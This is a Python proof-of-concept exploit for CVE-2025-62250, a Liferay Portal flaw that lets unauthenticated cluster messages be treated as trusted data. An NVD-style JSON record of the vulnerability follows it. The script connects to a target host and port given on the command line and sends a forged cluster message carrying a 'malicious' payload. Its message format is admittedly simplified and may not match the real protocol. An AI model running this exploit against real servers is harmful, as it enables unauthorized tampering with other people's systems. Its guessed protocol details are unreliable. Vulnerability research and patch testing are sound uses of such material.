CVE-2025-62250

#!/usr/bin/env python3 # CVE-2025-62250 - Liferay Portal Improper Authentication via Unauthenticated Cluster Messages # This PoC demonstrates the concept of sending forged cluster messages to a Liferay Portal instance # without authentication, exploiting the lack of proper authentication in cluster communication. import socket import struct import sys TARGET_HOST = "127.0.0.1" # Target Liferay Portal host TARGET_PORT = 7700 # Default Liferay cluster communication port (TCP) def build_cluster_message(payload): """ Build a forged Liferay cluster message. The cluster message format typically includes: - A magic header identifying the message type - Message length - Serialized payload data """ # Liferay cluster message header (simplified representation) magic_header = b"\x4c\x49\x46\x45" # "LIFE" magic bytes version = struct.pack(">B", 1) # Protocol version msg_type = struct.pack(">B", 0x05) # Cluster message type payload_bytes = payload.encode("utf-8") if isinstance(payload, str) else payload msg_length = struct.pack(">I", len(payload_bytes)) # Construct the full message message = magic_header + version + msg_type + msg_length + payload_bytes return message def send_forged_cluster_message(host, port, payload): """ Send a forged cluster message to the target Liferay Portal instance. No authentication is required due to CVE-2025-62250. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) message = build_cluster_message(payload) sock.sendall(message) # Attempt to receive response response = sock.recv(4096) print(f"[+] Response received: {len(response)} bytes") print(f"[+] Response data: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-62250 - Unauthenticated Cluster Message Injection") # Craft malicious payload - serialized Java object or cluster data malicious_payload = "<cluster-message><data>malicious_trusted_data</data></cluster-message>" success = send_forged_cluster_message(TARGET_HOST, TARGET_PORT, malicious_payload) if success: print("[+] Forged cluster message sent successfully without authentication!") else: print("[-] Failed to send forged cluster message.")

{"cve": {"id": "CVE-2025-62250", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:38.897", "lastModified": "2025-12-12T20:38:55.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authentication in Liferay Portal 7.4.0 through 7.4.3.132, and older unsupported versions, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions allows remote attackers to send malicious data to the Liferay Portal 7.4.0 through 7.4.3.132, and older unsupported versions, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions that will treat it as trusted data via unauthenticated cluster messages."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": 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